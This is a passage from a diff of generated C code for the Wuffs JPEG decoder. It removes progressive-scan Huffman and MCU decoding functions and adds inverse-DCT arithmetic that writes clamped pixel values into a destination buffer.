56u; +- v_ac_bl = (v_ac_ht_fast >> 8u); +- if (v_n_bits >= v_ac_bl) { +- v_ac_symbol = (255u & v_ac_ht_fast); +- v_bits <<= (v_ac_bl & 63u); +- v_n_bits -= v_ac_bl; +- } else { +- v_ac_code = ((uint32_t)((v_bits >> 55u))); +- v_ac_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; +- if (v_ac_code < (v_ac_ht_slow >> 8u)) { +- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); +- break; +- } +- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); +- if (v_ac_blm1 == 0u) { +- v_ac_symbol = 0u; +- break; +- } +- } +- } +- v_ac_rrrr = (v_ac_symbol >> 4u); +- v_z += (v_ac_rrrr + 1u); +- v_ac_ssss = (v_ac_symbol & 15u); +- v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; +- if (v_ac_ssss > 0u) { +- v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); +- v_ac_value += (v_ac_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_ac_ssss; +- v_n_bits -= v_ac_ssss; +- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = ((uint16_t)(((uint16_t)(v_ac_value << self->private_impl.f_scan_al)))); +- } else if (v_ac_rrrr < 15u) { +- self->private_impl.f_eob_run = ((uint16_t)(((((uint16_t)(1u)) << v_ac_rrrr) - 1u))); +- if (v_ac_rrrr > 0u) { +- self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); +- v_bits <<= v_ac_rrrr; +- v_n_bits -= v_ac_rrrr; +- } +- break; +- } +- } +- } while (0); +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; +- } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; ++ if (0u == (self->private_data.f_mcu_blocks[0u][15u] | ++ self->private_data.f_mcu_blocks[0u][23u] | ++ self->private_data.f_mcu_blocks[0u][31u] | ++ self->private_data.f_mcu_blocks[0u][39u] | ++ self->private_data.f_mcu_blocks[0u][47u] | ++ self->private_data.f_mcu_blocks[0u][55u] | ++ self->private_data.f_mcu_blocks[0u][63u])) { ++ v_intermediate[7u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))) << 2u)); ++ v_intermediate[15u] = v_intermediate[7u]; ++ v_intermediate[23u] = v_intermediate[7u]; ++ v_intermediate[31u] = v_intermediate[7u]; ++ v_intermediate[39u] = v_intermediate[7u]; ++ v_intermediate[47u] = v_intermediate[7u]; ++ v_intermediate[55u] = v_intermediate[7u]; ++ v_intermediate[63u] = v_intermediate[7u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][23u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][23u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][55u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][55u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][39u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][39u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][15u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][15u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][31u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][31u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][47u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][47u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][63u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][63u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[7u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[63u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[15u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[55u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[23u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[47u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[31u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[39u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_ac_low_bit +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint16_t v_one_lshift_scan_al = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- const uint16_t* v_ac_huff_table_fast = NULL; +- uint8_t v_ac_h = 0; +- uint32_t v_ac_symbol = 0; +- uint32_t v_ac_ht_fast = 0; +- uint32_t v_ac_bl = 0; +- uint32_t v_ac_code = 0; +- uint32_t v_ac_blm1 = 0; +- uint32_t v_ac_ht_slow = 0; +- uint16_t v_ac_value = 0; +- uint32_t v_ac_rrrr = 0; +- uint32_t v_ac_ssss = 0; +- uint8_t v_unzig = 0; +- bool v_bit = false; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- v_one_lshift_scan_al = (((uint16_t)(1u)) << self->private_impl.f_scan_al); +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- while (true) { +- if (self->private_impl.f_eob_run > 0u) { +- break; +- } +- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; +- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; +- while (true) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); +- v_ac_bl = (v_ac_ht_fast >> 8u); +- if (v_n_bits >= v_ac_bl) { +- v_ac_symbol = (255u & v_ac_ht_fast); +- v_bits <<= (v_ac_bl & 63u); +- v_n_bits -= v_ac_bl; +- } else { +- v_ac_code = ((uint32_t)((v_bits >> 55u))); +- v_ac_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; +- if (v_ac_code < (v_ac_ht_slow >> 8u)) { +- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); +- break; +- } +- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); +- if (v_ac_blm1 == 0u) { +- v_ac_symbol = 0u; +- break; +- } +- } +- } +- v_ac_rrrr = (v_ac_symbol >> 4u); +- v_ac_ssss = (v_ac_symbol & 15u); +- v_ac_value = 0u; +- if (v_ac_ssss > 0u) { +- v_ac_value = (((uint16_t)(1u)) << self->private_impl.f_scan_al); +- if ((v_bits >> 63u) == 0u) { +- v_ac_value = ((uint16_t)(((uint16_t)(65535u)) << self->private_impl.f_scan_al)); +- } +- v_bits <<= 1u; +- v_n_bits -= 1u; +- } else if (v_ac_rrrr < 15u) { +- self->private_impl.f_eob_run = (((uint16_t)(1u)) << v_ac_rrrr); +- if (v_ac_rrrr > 0u) { +- self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); +- v_bits <<= v_ac_rrrr; +- v_n_bits -= v_ac_rrrr; +- } +- goto label__goto_do_eob__break; +- } +- while (true) { +- v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; +- if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { +- if (v_n_bits == 0u) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- } +- v_bit = ((v_bits >> 63u) > 0u); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- if (v_bit) { +- if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- } +- } else if (v_ac_rrrr <= 0u) { +- break; +- } else { +- v_ac_rrrr -= 1u; +- } +- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { +- break; +- } +- self->private_impl.f_mcu_zig_index += 1u; +- } +- if (v_ac_value != 0u) { +- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]] = v_ac_value; +- } +- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { +- break; +- } +- self->private_impl.f_mcu_zig_index += 1u; +- } +- goto label__block__break; +- } +- label__goto_do_eob__break:; +- if (self->private_impl.f_eob_run <= 0u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- while (true) { +- v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; +- if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { +- if (v_n_bits == 0u) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- } +- v_bit = ((v_bits >> 63u) > 0u); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- if (v_bit) { +- if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- } +- } +- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { +- break; +- } +- self->private_impl.f_mcu_zig_index += 1u; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_eob_run -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } while (0); +- label__block__break:; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; ++ if (0u == (v_intermediate[1u] | ++ v_intermediate[2u] | ++ v_intermediate[3u] | ++ v_intermediate[4u] | ++ v_intermediate[5u] | ++ v_intermediate[6u] | ++ v_intermediate[7u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_dc_high_bits +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint8_t v_csel = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- uint8_t v_dc_h = 0; +- uint32_t v_dc_symbol = 0; +- uint32_t v_dc_ht_fast = 0; +- uint32_t v_dc_bl = 0; +- uint32_t v_dc_code = 0; +- uint32_t v_dc_blm1 = 0; +- uint32_t v_dc_ht_slow = 0; +- uint16_t v_dc_value = 0; +- uint16_t v_dc_extend = 0; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; +- v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); +- v_dc_bl = (v_dc_ht_fast >> 8u); +- if (v_n_bits >= v_dc_bl) { +- v_dc_symbol = (15u & v_dc_ht_fast); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- v_bits <<= (v_dc_bl & 63u); +- v_n_bits -= v_dc_bl; +- } else { +- v_dc_code = ((uint32_t)((v_bits >> 55u))); +- v_dc_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; +- if (v_dc_code < (v_dc_ht_slow >> 8u)) { +- v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); +- if (v_dc_blm1 == 0u) { +- v_dc_symbol = 0u; +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- } +- } +- v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); +- v_dc_value += (v_dc_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_dc_symbol; +- v_n_bits -= v_dc_symbol; +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; +- self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; +- self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] = ((uint16_t)(self->private_impl.f_mcu_previous_dc_values[v_csel] << self->private_impl.f_scan_al)); +- } while (0); +- self->private_impl.f_mcu_current_block += 1u; +- } +- self->private_impl.f_mcu_current_block = 0u; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[0u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[2u]; ++ v_in6 = v_intermediate[6u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[0u]; ++ v_in4 = v_intermediate[4u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[1u]; ++ v_in3 = v_intermediate[3u]; ++ v_in5 = v_intermediate[5u]; ++ v_in7 = v_intermediate[7u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_dc_low_bit +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint16_t v_one_lshift_scan_al = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- v_one_lshift_scan_al = (((uint16_t)(1u)) << self->private_impl.f_scan_al); +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const 